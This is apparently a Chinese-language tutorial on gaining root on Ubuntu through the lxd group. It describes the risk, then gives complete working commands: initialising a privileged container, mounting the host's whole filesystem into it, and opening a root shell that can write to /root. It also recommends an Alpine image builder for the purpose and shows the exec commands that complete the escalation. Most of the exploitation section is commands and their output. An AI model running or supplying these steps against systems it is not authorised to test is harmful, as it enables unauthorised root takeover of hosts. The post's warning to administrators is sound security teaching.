lxd容器提权

介绍

LXD是Ubuntu的使用linux容器的容器管理器。可以认为它与docker在同一领域内发挥作用,

应该将lxd组视为与docker组危害方式相同。在任何情况下,都不应授予本地容器中的用户访问lxd组的权限。这是因为要利用它完全是微不足道的。

首先,检查用户是否是该组的成员,因为如果安装了它并且是sudoer,则很可能是安装后,lxd会自动将每个用户添加到lxd组中。考虑到sudoer自动具有root用户访问权限,这可能被认为是可以的,但它忘记了sudo具有适当的审核功能,并且确实需要密码来执行root用户所需的任何操作。实际上,仅安装lxd等效于在sudoers文件中添加以下内容。

1
admin    ALL=NOPASSWD: ALL

如果某人获得了对管理员帐户的访问权限,那么他们将立即获得完全的root访问权限,而无需输入密码。考虑一个逃避到外的ssh私钥或在该用户下运行的过时服务,突然之间,一个仍然没有破解管理员帐户密码的攻击者就具有完全的root用户访问权限,这都是因为您安装了lxd。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ubuntu@ubuntu:~$ cat /etc/passwd | grep 1000 
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
ubuntu@ubuntu:~$ cat /etc/group | grep ubuntu
adm:x:4:syslog,ubuntu
cdrom:x:24:ubuntu
sudo:x:27:ubuntu
dip:x:30:ubuntu
plugdev:x:46:ubuntu
lpadmin:x:113:ubuntu
ubuntu:x:1000:
sambashare:x:128:ubuntu
ubuntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:
root@ubuntu:/home/ubuntu# apt-get install lxd
----SNIP----
root@ubuntu:/home/ubuntu# cat /etc/passwd | grep 1000
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
root@ubuntu:/home/ubuntu# cat /etc/group | grep ubuntu
adm:x:4:syslog,ubuntu
cdrom:x:24:ubuntu
sudo:x:27:ubuntu
dip:x:30:ubuntu
plugdev:x:46:ubuntu
lpadmin:x:113:ubuntu
ubuntu:x:1000:
sambashare:x:128:ubuntu
lxd:x:129:ubuntu

并不是在反对lxd组的存在,只是在不通知用户的情况下增加了攻击面。发现这归结于用户没有意识到该组赋予其帐户的功能,并且尽管删除了sudo特权,但没有进行lxd访问。

利用

因此,我非常想了解安全风险,但让我们看看实际情况。只因为2003而发现了这一点

1
2
3
4
5
6
ubuntu@ubuntu:~$ lxc init ubuntu:16.04 test -c security.privileged=true 
Creating test
ubuntu@ubuntu:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to test
ubuntu@ubuntu:~$ lxc start test
ubuntu@ubuntu:~$ lxc exec test bash

在这里,我们创建了一个lxc容器,为其分配了安全性特权,并将整个磁盘安装在/mnt/root下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@ubuntu:~$ lxc exec test bash 
root@test:~# cd /mnt/root
root@test:/mnt/root# ls
bin cdrom etc initrd.img lib64 media opt root sbin srv tmp var
boot dev home lib lost+found mnt proc run snap sys usr vmlinuz
root@test:/mnt/root# cd root
root@test:/mnt/root/root# ls
root@test:/mnt/root/root# touch ICanDoWhatever
root@test:/mnt/root/root# exit
exit
ubuntu@ubuntu:~$ cat /root/ICanDoWhatever
cat: /root/ICanDoWhatever: Permission denied
ubuntu@ubuntu:~$ sudo su
root@ubuntu:/home/ubuntu# cat /root/ICanDoWhatever
root@ubuntu:/home/ubuntu# ls /root
ICanDoWhatever
root@ubuntu:/home/ubuntu#

现在,来看看如何一次无需手动输入密码或提升权限。我们甚至可以将自己从sudoers中移除,并执行所有这些操作,从而使提权到root变得非常简单。吸取教训后,请谨慎使用lxd组。

下面推荐一个可以用于lxd提权的容器

LXD Alpine Linux image builder

该脚本提供了一种创建Alpine Linux映像以与LXD一起使用的方法。它基于LXC模板。仅通过安装基于alpine的meta-package即可构建映像。默认情况下启用网络和系统日志。

用法:

为了构建最新的Alpine映像,只需运行脚本(必须以root身份完成):

1
sudo ./build-alpine

有关更多选项,请查看帮助:

1
sudo ./build-alpine -h

生成映像后,可以将其作为映像添加到LXD中,如下所示:

1
lxc image import alpine-v3.3-x86_64-20160114_2308.tar.gz --alias alpine-v3.3

注意:

如果运行提权命令之前,状态如下所示:

1
2
3
4
5
6
ta@neuromancer:/tmp$ lxc list
+---------------+---------+------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------------+---------+------+------+------------+-----------+
| right-whippet | STOPPED | | | PERSISTENT | 0 |
+---------------+---------+------+------+------------+-----------+

需要运行下面命令来启动容器:

1
2
3
4
5
6
7
ta@neuromancer:/tmp$ lxc start right-whippet
ta@neuromancer:/tmp$ lxc list
+---------------+---------+------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------------+---------+------+------+------------+-----------+
| right-whippet | RUNNING | | | PERSISTENT | 0 |
+---------------+---------+------+------+------------+-----------+

然后运行下面命令提权:

1
2
3
4
5
lxc exec right-whippet --mode=interactive /bin/sh

或者

lxc exec right-whippet bash

By:lucifer11——QQ:1185151867